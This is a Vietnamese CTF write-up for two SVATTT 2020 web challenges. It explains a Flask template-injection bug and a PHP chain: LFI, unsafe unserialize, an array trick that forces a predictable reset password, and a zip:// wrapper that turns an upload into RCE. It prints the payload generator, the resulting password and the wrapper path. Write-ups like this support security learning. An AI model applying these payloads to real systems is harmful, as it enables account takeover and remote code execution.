SVATTT (ASCIS) 2020
1) Source cho ai cần (chỉ những file cần thiết để dựng lại bài, không có front-end hay các file dư ra):
2) Note lại cách giải 2 bài trên (mọi người có thể kéo xuống dưới cùng để xem Payload:
TSULOTT 3
Bài này được code bằng Flask, phần code bị lỗi SSTI là đoạn dưới đây
return render_template_string(cheat+check_session("name"))
Vì vậy chỉ cần cho name = Payload, sau đó trigger để app.py gọi đoạn đó render_template_string ra là RCE được
Among Us
Bài này được code bằng PHP, và theo từng bước sau đây để có thể RCE được:
- LFI ở index.php để có thể lấy được source cả bài về debug ở máy local
include($_GET['page'] . ".php")
- Forgot Password
$ticket = unserialize(base64_decode($_POST["ticket"]));
Ticket nhận giá trị từ người dùng, nên ta có thể dễ dàng điều khiển được các tham số của ticket dựa trên các loại dữ liệu của 1 Object PHP
- Check_user_exist
$count = check_user_exists($conn, $username);
Để có thể forgot password 1 user bất kì thì ta phải có 1 user hợp lệ trong database, cái này tác giả đã cung cấp ở crew.php, nếu bạn debug ở local thì có thể tạo 1 vài user trong db như user1, user2 cũng được
- Check_length
return strlen($input)==$length || count($input)==$length || sizeof($input)==$length;
secret_number nhận từ người dùng có thể là 1 giá trị có len = 9 hay 1 array có len = 9 cũng được, chỗ này nhờ PHP Object thì mình có thể đưa array vào
- Reset password
if(check_length($secret_number, 9)) {
$secret_number = strtoupper($secret_number);
$secret_number = check_string($secret_number);
$secret = get_secret($conn,$username);
var_dump($secret_number);
var_dump($secret);
if($secret_number !== $secret) {
print("Wrong secret!");
}
else
{
print("OK, we will send you the new password");}
print $secret_number;
$random_rand = rand(0,$secret_number);
srand($random_rand);
$new_password = "";
while(strlen($new_password) < 30) {
$new_password .= strval(rand());
}
reset_password($conn, $username, $new_password);
//to do: send mail the new password to the user, code later
//print($new_password);
}
Có thể để ý ở đây là lỗi typo, dù secret_number có đúng hay không thì password vẫn reset (vì nằm bên ngoài if). Nhưng nếu không tìm được 1 cách để control được secret_number thì không thể có được password để đăng nhập sau khi reset Để control được new_password thì phải control được rand(). Theo thứ tự việc cần làm thì:
new_password <= rand <= srand <= rand
Và để controll được $random_rand thì $secret_number phải bằng NULL vì rand(0,NULL) = 0 :?
$secret_number = NULL chỉ khi $secret_number là array, sau khi đưa qua strtoupper sẽ trở thành NULL value
php > var_dump(strtoupper(array("ingame","lmht","buixuanhuan")));
PHP Warning: strtoupper() expects parameter 1 to be string, array given in php shell code on line 1
Warning: strtoupper() expects parameter 1 to be string, array given in php shell code on line 1
NULL
- Upload, Download zip
Reset password thành công thì khi vào electrical.php sẽ có chức năng upload zip và download file đó về
function upload($file) {
if(isset($file))
{
if($file["size"] > 1485760) {
die('<center>IMPOSTOR ALERT!!!</center>');
}
$uploadfile=$file["tmp_name"]; // .zip
$folder="crew_upload/";
$file_name=$file["name"]; // no .zip
$new = $file["tmp_name"].$file_name;
echo $new;
move_uploaded_file($file["tmp_name"], $new);
//echo $new;
//echo $file["tmp_name"];
$zip = new ZipArchive();
$zip_name ="crew_upload/".md5(uniqid(rand(), true)).".zip"; // Zip name
if($zip->open($zip_name, ZIPARCHIVE::CREATE)!==TRUE)
{
echo "Sorry ZIP creation failed at this time";
}
$zip->addFile($new);
$zip->close();
if(isset($_SESSION["link"]) && !empty($_SESSION["link"])) {
unlink($_SESSION["link"]);
unset($_SESSION["link"]);
}
$_SESSION["link"] = $zip_name;
#header("Refresh: 0");
}
}
Luồng hoạt động của function Upload như sau
nhận file upload (test.zip) => rename file thành (tmpxyztest.ziptmpxyztest) => tạo file zip có tên file random => move file zip upload bởi người dùng vào file zip vừa tạo
Ta có 1 file: test.zip (chứa test.php), sau khi upload lên sẽ được download về 1 file zip chứa 1 file zip khác trong đó và bên trong file zip đó sẽ chứa file php ban đầu
Sau khi nhận file upload từ người dùng, web lưu lại 1 bản temp trong /tmp. Kết hợp với LFI có thể dùng protocol zip:// có thể gọi thẳng đến file PHP ban đầu => RCE
Payload
TSULOTT3
AmongUs
Gen Password
<?php
class CrewMate{
public $name = "tsu";
public $secret_number = array("111111111","111111111","111111111","111111111","111111111","111111111","111111111","111111111","111111111");
// password= 117856802212731241191535857466
}
$ticket = new CrewMate();
echo base64_encode(serialize($ticket));
echo "</br>";
echo var_dump(serialize($ticket))
#
?>
RCE Protocol ZIP
zip:///tmp/php(random_thing)test.zip%23test